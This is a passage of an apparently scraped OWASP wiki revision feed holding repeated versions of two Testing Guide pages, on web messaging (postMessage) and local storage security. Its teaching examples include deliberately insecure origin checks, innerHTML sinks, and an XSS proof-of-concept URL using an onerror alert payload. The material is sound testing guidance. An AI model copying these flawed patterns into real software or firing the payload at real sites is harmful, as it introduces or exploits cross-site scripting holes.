== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for vulnerabilities on Web Messaging is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
&lt;br /&gt;
Manual testing needs to be conducted and the JavaScript code analyzed looking for how Web Messaging is implemented. In particular we should be interested in how the website is restricting messages from untrusted domain and how the data is handled even for trusted domains. Below are some examples:&lt;br /&gt;
&lt;br /&gt;
Vulnerable code example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
In this example, access is needed for every subdomain (www, chat, forums, ...) within the owasp.org domain. The code is trying to accept any domain ending on .owasp.org:&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     &amp;lt;/b&amp;gt;if(e.origin.indexOf(&amp;quot;.owasp.org&amp;quot;)!=-1) {&amp;lt;b&amp;gt;&lt;br /&gt;
          /* process message (e.data) */&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The intention is to allow subdomains in this form:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
www.owasp.org&lt;br /&gt;
chat.owasp.org&lt;br /&gt;
forums.owasp.org&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Insecure code. An attacker can easily bypass the filter as www.owasp.org.attacker.com will match&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example of lack of origin check, very insecure as will accept input from any domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     /* process message (e.data) */&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Input validation example: Lack of security controls lead to Cross-Site Scripting (XSS)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     if(e.origin === &amp;quot;trusted.domain.com&amp;quot;) {&lt;br /&gt;
          element.innerHTML= e.data;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This code will lead to Cross-Site Scripting (XSS) vulnerabiltiies as data is not being treated properly, a more secure approach would be to use the property textContent instead of innetHTML.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
*'''Web Messaging Specification''': http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=164686</id>
		<title>Test Web Messaging (OTG-CLIENT-011)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=164686"/>
				<updated>2013-12-15T19:07:05Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: minor changes&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Web Messaging also known as Cross Document Mesaging allow applications running on different domains to comunicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy and enforced by the browser, however developers used multiple hacks in order to accomplish these tasks, most of them were mainly insecure.&lt;br /&gt;
&lt;br /&gt;
This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced within he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.&lt;br /&gt;
&lt;br /&gt;
The Messaging API introduced the &amp;lt;pre&amp;gt;postMessage()&amp;lt;/pre&amp;gt; method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
data: The content of the incoming message&amp;lt;br&amp;gt;&lt;br /&gt;
origin: The origin of the sender document&amp;lt;br&amp;gt;&lt;br /&gt;
source: source window&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Let's see an example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Send message:&lt;br /&gt;
&lt;br /&gt;
iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);&lt;br /&gt;
&lt;br /&gt;
Receive message:&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, handler, true);&lt;br /&gt;
function handler(event) {&lt;br /&gt;
if(event.origin === 'chat.example.com') {&lt;br /&gt;
     /* process message (event.data) */&lt;br /&gt;
} else {&lt;br /&gt;
    /* ignore messages from untrusted domains */&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
=== Origin Security Concept ===&lt;br /&gt;
The origin is made up of a scheme, hostname and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url.&lt;br /&gt;
For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to webservers running in the same domain but different port.&lt;br /&gt;
From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish this is using a whitelist. Also within the sending domain, we also want to make sure they are explicity stating the receiving domain and not '*' as the second argument of postMessage() as this practise could introduce security concerns too, and could lead to, in the case of a redirection or if the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.&lt;br /&gt;
&lt;br /&gt;
In the case the website failed to add security controls to restrict the domains or origins that can send messages to a website most likely will introduce a security risk so it is very interesting part of the code from a penetration testing point of view. We should scan the code for message event listeners, and get the callback function from the &amp;lt;pre&amp;gt;addEventListener&amp;lt;/pre&amp;gt; method to further analysis as domains must be always be verified prior data manipulation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== event.data Input Validation ===&lt;br /&gt;
&lt;br /&gt;
Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply  the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via &amp;lt;pre&amp;gt;eval()&amp;lt;/pre&amp;gt; or inserted into the DOM via the &amp;lt;pre&amp;gt;innerHTML&amp;lt;/pre&amp;gt; property as that would create a DOM-based XSS vulnerability.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for vulnerabilities on Web Messaging is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
&lt;br /&gt;
Vulnerable code example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
In this example, access is needed for every subdomain (www, chat, forums, ...) within the owasp.org domain. The code is trying to accept any domain ending on .owasp.org:&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     &amp;lt;/b&amp;gt;if(e.origin.indexOf(&amp;quot;.owasp.org&amp;quot;)!=-1) {&amp;lt;b&amp;gt;&lt;br /&gt;
          /* process message (e.data) */&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The intention is to allow subdomains in this form:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
www.owasp.org&lt;br /&gt;
chat.owasp.org&lt;br /&gt;
forums.owasp.org&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Insecure code. An attacker can easily bypass the filter as www.owasp.org.attacker.com will match&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example of lack of origin check, very insecure as will accept input from any domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     /* process message (e.data) */&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Input validation example: Lack of security controls lead to Cross-Site Scripting (XSS)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     if(e.origin === &amp;quot;trusted.domain.com&amp;quot;) {&lt;br /&gt;
          element.innerHTML= e.data;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This code will lead to Cross-Site Scripting (XSS) vulnerabiltiies as data is not being treated properly, a more secure approach would be to use the property textContent instead of innetHTML.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
*'''Web Messaging Specification''': http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=164685</id>
		<title>Test Web Messaging (OTG-CLIENT-011)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=164685"/>
				<updated>2013-12-15T18:53:09Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: added ZAP Proxy&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Web Messaging also known as Cross Document Mesaging allow applications running in different domains to comunicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy enforced by the browser, however developers used multiple hacks in order to accomplish this tasks that were mainly insecure.&lt;br /&gt;
&lt;br /&gt;
This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced withint he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.&lt;br /&gt;
&lt;br /&gt;
The Messaging API introduced the &amp;lt;pre&amp;gt;postMessage()&amp;lt;/pre&amp;gt; method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain. There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:&lt;br /&gt;
&lt;br /&gt;
data: The content of the incoming message&lt;br /&gt;
origin: The origin of the sender document.&lt;br /&gt;
source: source window&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Let's see an example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Send message:&lt;br /&gt;
&lt;br /&gt;
iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);&lt;br /&gt;
&lt;br /&gt;
Receive message:&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, handler, true);&lt;br /&gt;
function handler(event) {&lt;br /&gt;
if(event.origin === 'chat.example.com') {&lt;br /&gt;
     /* process message (event.data) */&lt;br /&gt;
} else {&lt;br /&gt;
    /* ignore messages from untrusted domains */&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
=== Origin Security Concept ===&lt;br /&gt;
The origin is made up of a scheme, hostname and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url.&lt;br /&gt;
For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to webservers running in the same domain but different port.&lt;br /&gt;
From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish that is using a whitelist. Also within the sending domain, we also want to make sure they are explicity stating the receiving domain and not '*' as the second argument of postMessage() as this practise could introduce security concerns too, and could lead to, in the case of a redirection or the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.&lt;br /&gt;
&lt;br /&gt;
In the case a developer failed to add security controls to restrict the domains or origins that can send messages to a website most likely will introduce a security risks so it is very interesting part of the code from a penetration testing point of view. We should scan the code for message listeners, and get the callback function from the &amp;lt;pre&amp;gt;addEventListener&amp;lt;/pre&amp;gt; method to further analysis as domains must be always verified prior data manipulation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== event.data Input Validation ===&lt;br /&gt;
&lt;br /&gt;
Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply  the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via &amp;lt;pre&amp;gt;eval()&amp;lt;/pre&amp;gt; or inserted into the DOM via the &amp;lt;pre&amp;gt;innerHTML&amp;lt;/pre&amp;gt; property as that would create a DOM-based XSS vulnerability.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for vulnerabilities on Web Messaging is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
&lt;br /&gt;
Vulnerable code example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Access needed for every subdomain (www, chat, forums, ...)&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     &amp;lt;/b&amp;gt;if(e.origin.indexOf(&amp;quot;.owasp.org&amp;quot;)!=-1) {&amp;lt;b&amp;gt;&lt;br /&gt;
          /* process message (e.data) */&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The intention is to allow subdomains in this form:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
www.owasp.org&lt;br /&gt;
chat.owasp.org&lt;br /&gt;
forums.owasp.org&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Insecure code. An attacker can easily bypass the filter as www.owasp.org.attacker.com will match&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example of lack of origin check, very insecure as will accept input from any domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     /* process message (e.data) */&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Input validation example: XSS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     if(e.origin === &amp;quot;trusted.domain.com&amp;quot;) {&lt;br /&gt;
          &amp;lt;b&amp;gt;element.innerHTML= e.data;&amp;lt;/b&amp;gt;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This code will lead to Cross-Site Scripting (XSS) vulnerabiltiies as data is not being trated properly, a more secure approach would be to use the property textContent instead of innetHTML.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
*'''Web Messaging Specification''': http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Local_Storage_(OTG-CLIENT-012)&amp;diff=164684</id>
		<title>Test Local Storage (OTG-CLIENT-012)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Local_Storage_(OTG-CLIENT-012)&amp;diff=164684"/>
				<updated>2013-12-15T18:52:54Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: added ZAP Proxy&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary == &lt;br /&gt;
&lt;br /&gt;
Local Storage also known as Web Storage or Offline Storage is a mechanism to store data as key/value pairs tied to a domain and enforced by the same origin policy (SOP).&lt;br /&gt;
There are two objects, localStorage that is persistent and is intented to survive browser/system reboots and sessionStorage that is temporary and will only exists until the window or tab is closed. On average browsers allow to store in this storage around 5MB per domain, that compared to the 4KB of cookies is a big difference, but the key difference from the security perspective is that the data stored in these two objects is kept in the client and never sent to the server, this also improves network performance as data do not need to travel over the wire back and forth.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
=== localStorage ===&lt;br /&gt;
&lt;br /&gt;
Access to the storage is normally done using the setItem and getItem functions. The storage can be read from javascript which means with a single XSS an attacker would be able to extract all the data from the storage.&lt;br /&gt;
Also malicious data can be loaded into the storage via JavaScript so the application needs to have the controls in place to treat untrusted data.&lt;br /&gt;
Check if there are more than one application in the same domain like example.foo/app1 and example.foo/app2 because those will share the  same  storage.&lt;br /&gt;
&lt;br /&gt;
Data stored in this object will persist after the window is closed, it is a bad idea to store sensitive data or session identifiers on this object as these can be accesed via JavaScript. Session IDs stored in cookies can mitigate this risk using the httpOnly flag.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== sessionStorage ===&lt;br /&gt;
&lt;br /&gt;
Main difference with localStorage is that the data stored in this object is only accesible until the tab/window is closed which is a perfect candidate for data that doesn't need to persist between sessions.&lt;br /&gt;
It shares most of the properties and the getItem/setItem methods, so manual testing needs to be undertaken to look for these methods and identify in which parts of the code the storage is accesed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for issues within the Local Storage code is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
First of all, we need to check whether the Local Storage is used.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 1: Access to localStorage:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Access to every element in localStorage with JavaScript:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
for(var i=0; i&amp;lt;localStorage.length; i++) {                                               &lt;br /&gt;
        console.log(localStorage.key(i), &amp;quot; = &amp;quot;, localStorage.getItem(localStorage.key(i)));&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
same code can be applied to sessionStorage&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using Google Chrome, click on menu -&amp;gt; Tools -&amp;gt; Developer Tools. Then under Resources you will see 'Local Storage' and 'Web Storage'&lt;br /&gt;
&lt;br /&gt;
[[File:storage-chrome.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using Firefox and the addon Firebug you can easily inspect the localStorage/sessionStorage object in the DOM tab&lt;br /&gt;
&lt;br /&gt;
[[File:storage-firefox.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Also, we can inspect these objects from the developer tools of our browser.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Then, manual testing needs to be conducted in order to determine whether the website is storing sensitive data in the Storage, which respresent a risk and will increase dramatically the impact of a information leak. Also check the code handling the Storage to determine if it is vulnerable to injection attacks, common issue when the code does not escape the input or output. The JavaScript code has to be analyzed to evaluate these issues, so make sure you crawl the application to discover every instance of JavaScript code and note sometimes applications use third-party libraries that would need to be examined too.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Here is an example of how improper use of user input and lack of validation can lead to XSS attacks.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 2: XSS in localStorage:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Insecure assignment from localStorage can lead to XSS&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function action(){&lt;br /&gt;
&lt;br /&gt;
var resource = location.hash.substring(1);&lt;br /&gt;
&lt;br /&gt;
localStorage.setItem(&amp;quot;item&amp;quot;,resource);&lt;br /&gt;
&lt;br /&gt;
item = localStorage.getItem(&amp;quot;item&amp;quot;);&lt;br /&gt;
document.getElementById(&amp;quot;div1&amp;quot;).innerHTML=item;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body onload=&amp;quot;action()&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;div1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
URL PoC:&lt;br /&gt;
&lt;br /&gt;
http://server/StoragePOC.html#&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Storage-xss.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
*'''Web Storage Specification''': http://www.w3.org/TR/webstorage/&lt;br /&gt;
&lt;br /&gt;
'''Tools''' &lt;br /&gt;
* '''Firebug''' -  http://getfirebug.com/&lt;br /&gt;
* '''Google Chrome Developer Tools''' - https://developers.google.com/chrome-developer-tools/&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Local_Storage_(OTG-CLIENT-012)&amp;diff=164683</id>
		<title>Test Local Storage (OTG-CLIENT-012)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Local_Storage_(OTG-CLIENT-012)&amp;diff=164683"/>
				<updated>2013-12-15T18:50:44Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: minor formating change in references section&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary == &lt;br /&gt;
&lt;br /&gt;
Local Storage also known as Web Storage or Offline Storage is a mechanism to store data as key/value pairs tied to a domain and enforced by the same origin policy (SOP).&lt;br /&gt;
There are two objects, localStorage that is persistent and is intented to survive browser/system reboots and sessionStorage that is temporary and will only exists until the window or tab is closed. On average browsers allow to store in this storage around 5MB per domain, that compared to the 4KB of cookies is a big difference, but the key difference from the security perspective is that the data stored in these two objects is kept in the client and never sent to the server, this also improves network performance as data do not need to travel over the wire back and forth.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
=== localStorage ===&lt;br /&gt;
&lt;br /&gt;
Access to the storage is normally done using the setItem and getItem functions. The storage can be read from javascript which means with a single XSS an attacker would be able to extract all the data from the storage.&lt;br /&gt;
Also malicious data can be loaded into the storage via JavaScript so the application needs to have the controls in place to treat untrusted data.&lt;br /&gt;
Check if there are more than one application in the same domain like example.foo/app1 and example.foo/app2 because those will share the  same  storage.&lt;br /&gt;
&lt;br /&gt;
Data stored in this object will persist after the window is closed, it is a bad idea to store sensitive data or session identifiers on this object as these can be accesed via JavaScript. Session IDs stored in cookies can mitigate this risk using the httpOnly flag.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== sessionStorage ===&lt;br /&gt;
&lt;br /&gt;
Main difference with localStorage is that the data stored in this object is only accesible until the tab/window is closed which is a perfect candidate for data that doesn't need to persist between sessions.&lt;br /&gt;
It shares most of the properties and the getItem/setItem methods, so manual testing needs to be undertaken to look for these methods and identify in which parts of the code the storage is accesed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for issues within the Local Storage code is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
First of all, we need to check whether the Local Storage is used.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 1: Access to localStorage:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Access to every element in localStorage with JavaScript:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
for(var i=0; i&amp;lt;localStorage.length; i++) {                                               &lt;br /&gt;
        console.log(localStorage.key(i), &amp;quot; = &amp;quot;, localStorage.getItem(localStorage.key(i)));&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
same code can be applied to sessionStorage&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using Google Chrome, click on menu -&amp;gt; Tools -&amp;gt; Developer Tools. Then under Resources you will see 'Local Storage' and 'Web Storage'&lt;br /&gt;
&lt;br /&gt;
